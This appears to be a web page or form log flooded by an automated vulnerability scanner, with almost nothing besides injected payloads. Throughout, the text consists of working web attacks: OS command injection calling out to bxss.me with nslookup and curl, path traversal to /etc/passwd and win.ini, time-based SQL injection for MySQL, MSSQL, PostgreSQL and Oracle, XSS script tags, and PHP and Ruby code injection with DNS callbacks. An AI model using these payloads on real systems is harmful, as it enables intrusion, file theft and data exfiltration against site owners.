比如呢

555

response.write(9355308*9384997)

echo plxnop$() jjlzlvnz^xyu||a #' &echo plxnop$() jjlzlvnz^xyu||a #|" &echo plxnop$() jjlzlvnz^xyu||a #

yW0AK6iL

&echo eteqdu$() hfipahnz^xyu||a #' &echo eteqdu$() hfipahnz^xyu||a #|" &echo eteqdu$() hfipahnz^xyu||a #

'+response.write(9355308*9384997)+'

555&echo tounea$() oknmpsnz^xyu||a #' &echo tounea$() oknmpsnz^xyu||a #|" &echo tounea$() oknmpsnz^xyu||a #

"+response.write(9355308*9384997)+"

../../../../../../../../../../../../../../etc/passwd

555

|echo srdyyu$() zzpkmfnz^xyu||a #' |echo srdyyu$() zzpkmfnz^xyu||a #|" |echo srdyyu$() zzpkmfnz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

555|echo ikfffu$() ianwkfnz^xyu||a #' |echo ikfffu$() ianwkfnz^xyu||a #|" |echo ikfffu$() ianwkfnz^xyu||a #

file:///etc/passwd

555
bcc:0.45-209539.45.cdd00.20268.2@bxss.me

(nslookup -q=cname hitzakylqejyu09979.bxss.me||curl hitzakylqejyu09979.bxss.me))

to@example.com>
bcc:0.45-209540.45.cdd00.20268.2@bxss.me

12345'"'");|]*{
<>

$(nslookup -q=cname hitacarxddoqff14cb.bxss.me||curl hitacarxddoqff14cb.bxss.me)

555

555<esi:include src="http://bxss.me/rpb.png"/>

&nslookup -q=cname hittqdqmuctws0248c.bxss.me&'"`0&nslookup -q=cname hittqdqmuctws0248c.bxss.me&`'

555

555

&(nslookup -q=cname hitfaryrqubof48d12.bxss.me||curl hitfaryrqubof48d12.bxss.me)&'"`0&(nslookup -q=cname hitfaryrqubof48d12.bxss.me||curl hitfaryrqubof48d12.bxss.me)&`'

../555

555

555

555

|(nslookup -q=cname hitxyhgsqdbmu32872.bxss.me||curl hitxyhgsqdbmu32872.bxss.me)

555

555

`(nslookup -q=cname hitgbgwfuwkafcf3fb.bxss.me||curl hitgbgwfuwkafcf3fb.bxss.me)`

555

555

${9999324+9999952}

;(nslookup -q=cname hitcdiodpueqh6cfd6.bxss.me||curl hitcdiodpueqh6cfd6.bxss.me)|(nslookup -q=cname hitcdiodpueqh6cfd6.bxss.me||curl hitcdiodpueqh6cfd6.bxss.me)&(nslookup -q=cname hitcdiodpueqh6cfd6.bxss.me||curl hitcdiodpueqh6cfd6.bxss.me)

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555&n993577=v990818

)

555

555

!(()&&!|*|*|

555

/etc/shells

^(#$!@#$)(()))******

555

555

c:/windows/win.ini

555

bxss.me

555

'"()

555

555

555

555'&&sleep(27*1000)*dcuqyb&&'

555

555"&&sleep(27*1000)*tcpvld&&"

555

555'||sleep(27*1000)*ylligp||'

555"||sleep(27*1000)*ednuts||"

555

'.gethostbyname(lc('hitwd'.'amwlezemedd15.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(84).chr(98).chr(86).'

555

555

".gethostbyname(lc("hittm"."hxfsvzxdb54ef.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(78).chr(107).chr(83)."

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555

';print(md5(31337));$a='

555

555

555

555

555

";print(md5(31337));$a="

555

555

555

${@print(md5(31337))}

555

555

${@print(md5(31337))}

555

'.print(md5(31337)).'

555

555

555

bxss.me/t/xss.html?%00

555

555

555

555

555

555

555

555

555

555

555

555

"+"A".concat(70-3).concat(22*4).concat(110).concat(85).concat(113).concat(76)+(require"socket"
Socket.gethostbyname("hitbb"+"odwjlijc6c435.bxss.me.")[3].to_s)+"

555

555

'+'A'.concat(70-3).concat(22*4).concat(111).concat(69).concat(110).concat(66)+(require'socket'
Socket.gethostbyname('hitzu'+'gwjemnis3010a.bxss.me.')[3].to_s)+'

555

reply

555

555

reply

555

555

reply/.

555

555

555

555

555

555

555

-1 OR 2+526-526-1=0+0+0+1 --

-1 OR 2+769-769-1=0+0+0+1

555

555

-1' OR 2+893-893-1=0+0+0+1 --

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

xfs.bxss.me

555

'"

-1' OR 2+501-501-1=0+0+0+1 or 'gcRxXevv'='

555

<!--

-1" OR 2+112-112-1=0+0+0+1 --

555

555

555

555

555'"()&%<zzz><ScRiPt >U9SU(9369)</ScRiPt>

555

555

'"()&%<zzz><ScRiPt >U9SU(9790)</ScRiPt>

555

555

555

5559497145

555

555

555

555

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

MncpxbmC'; waitfor delay '0:0:15' --

-5 OR 542=(SELECT 542 FROM PG_SLEEP(15))--

-5) OR 916=(SELECT 916 FROM PG_SLEEP(15))--

-1)) OR 281=(SELECT 281 FROM PG_SLEEP(15))--

aISRFKLR' OR 298=(SELECT 298 FROM PG_SLEEP(15))--

Js0YC5Qd') OR 857=(SELECT 857 FROM PG_SLEEP(15))--

tN8QL3gd')) OR 502=(SELECT 502 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@fVYNM

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9627383*9810591)

echo yxoolg$() wapekznz^xyu||a #' &echo yxoolg$() wapekznz^xyu||a #|" &echo yxoolg$() wapekznz^xyu||a #

RXu5ff66

'+response.write(9627383*9810591)+'

&echo algrzx$() dwtyiznz^xyu||a #' &echo algrzx$() dwtyiznz^xyu||a #|" &echo algrzx$() dwtyiznz^xyu||a #

"+response.write(9627383*9810591)+"

555&echo hzhtrw$() yncfqhnz^xyu||a #' &echo hzhtrw$() yncfqhnz^xyu||a #|" &echo hzhtrw$() yncfqhnz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

|echo dkdogu$() piysxjnz^xyu||a #' |echo dkdogu$() piysxjnz^xyu||a #|" |echo dkdogu$() piysxjnz^xyu||a #

555
bcc:0.45-236697.45.cdd00.20268.2@bxss.me

../../../../../../../../../../../../../../windows/win.ini

555|echo udejdk$() gqiwncnz^xyu||a #' |echo udejdk$() gqiwncnz^xyu||a #|" |echo udejdk$() gqiwncnz^xyu||a #

to@example.com>
bcc:0.45-236698.45.cdd00.20268.2@bxss.me

file:///etc/passwd

(nslookup -q=cname hitjllungmmsle0d29.bxss.me||curl hitjllungmmsle0d29.bxss.me))

555

$(nslookup -q=cname hitkgllyhabbmabe73.bxss.me||curl hitkgllyhabbmabe73.bxss.me)

../555

&nslookup -q=cname hitwlfdogyjqf25cca.bxss.me&'"`0&nslookup -q=cname hitwlfdogyjqf25cca.bxss.me&`'

555

&(nslookup -q=cname hitjsgsnmuoercc772.bxss.me||curl hitjsgsnmuoercc772.bxss.me)&'"`0&(nslookup -q=cname hitjsgsnmuoercc772.bxss.me||curl hitjsgsnmuoercc772.bxss.me)&`'

${9999174+9999641}

555<esi:include src="http://bxss.me/rpb.png"/>

|(nslookup -q=cname hittquuxxcerbeb745.bxss.me||curl hittquuxxcerbeb745.bxss.me)

12345'"'");|]*{
<>

`(nslookup -q=cname hittzmtcekwmf3c6ae.bxss.me||curl hittzmtcekwmf3c6ae.bxss.me)`

555

555

;(nslookup -q=cname hitejyncinjxd0f292.bxss.me||curl hitejyncinjxd0f292.bxss.me)|(nslookup -q=cname hitejyncinjxd0f292.bxss.me||curl hitejyncinjxd0f292.bxss.me)&(nslookup -q=cname hitejyncinjxd0f292.bxss.me||curl hitejyncinjxd0f292.bxss.me)

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555&n944354=v988856

/etc/shells

555

555

c:/windows/win.ini

)

bxss.me

!(()&&!|*|*|

^(#$!@#$)(()))******

555

555

'"()

555'&&sleep(27*1000)*pvgylw&&'

555

555"&&sleep(27*1000)*chyffa&&"

555

555'||sleep(27*1000)*abetdh||'

'.gethostbyname(lc('hithe'.'irkmzmmwcb2a7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(88).chr(106).chr(66).'

555"||sleep(27*1000)*zwlyll||"

555

".gethostbyname(lc("hitmf"."ugseaouwbeebb.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(77).chr(122).chr(88)."

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

bxss.me/t/xss.html?%00

";print(md5(31337));$a="

"+"A".concat(70-3).concat(22*4).concat(104).concat(72).concat(100).concat(79)+(require"socket"
Socket.gethostbyname("hitjd"+"ptixcfoi61652.bxss.me.")[3].to_s)+"

reply

${@print(md5(31337))}

'+'A'.concat(70-3).concat(22*4).concat(106).concat(68).concat(109).concat(84)+(require'socket'
Socket.gethostbyname('hitrs'+'clefepog0aafb.bxss.me.')[3].to_s)+'

reply

${@print(md5(31337))}

555

'.print(md5(31337)).'

reply/.

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

xfs.bxss.me

555

'"

555

<!--

555

555'"()&%<zzz><ScRiPt >6CBd(9653)</ScRiPt>

'"()&%<zzz><ScRiPt >6CBd(9557)</ScRiPt>

555

-1 OR 2+175-175-1=0+0+0+1 --

5559896532

-1 OR 2+633-633-1=0+0+0+1

-1' OR 2+184-184-1=0+0+0+1 --

-1' OR 2+41-41-1=0+0+0+1 or 'RHl1j0qH'='

-1" OR 2+975-975-1=0+0+0+1 --

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

Fqyfz2XE'; waitfor delay '0:0:15' --

-5 OR 936=(SELECT 936 FROM PG_SLEEP(15))--

-5) OR 973=(SELECT 973 FROM PG_SLEEP(15))--

-1)) OR 770=(SELECT 770 FROM PG_SLEEP(15))--

DNHI9cBS' OR 588=(SELECT 588 FROM PG_SLEEP(15))--

3YFEOsHk') OR 159=(SELECT 159 FROM PG_SLEEP(15))--

u3P9vh5k')) OR 332=(SELECT 332 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@djOyH

555

555

555

555

555

555

555